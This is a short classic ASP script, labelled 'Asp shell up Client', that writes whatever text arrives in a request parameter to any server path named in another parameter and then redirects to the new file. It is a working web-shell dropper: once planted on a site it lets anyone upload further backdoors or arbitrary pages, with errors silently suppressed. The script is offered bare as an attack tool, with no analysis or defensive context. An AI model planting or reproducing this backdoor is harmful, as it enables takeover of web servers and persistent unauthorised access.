<%
On Error Resume Next
set gl=server.CreateObJeCt("Adodb.Stream")
gl.Open
gl.Type=2
gl.CharSet="gb2312"
gl.writetext request("code")
gl.SaveToFile server.mappath(request("path")),2
gl.Close
set gl=nothing
response.redirect request("path")
%>
客户端
Asp shell up Client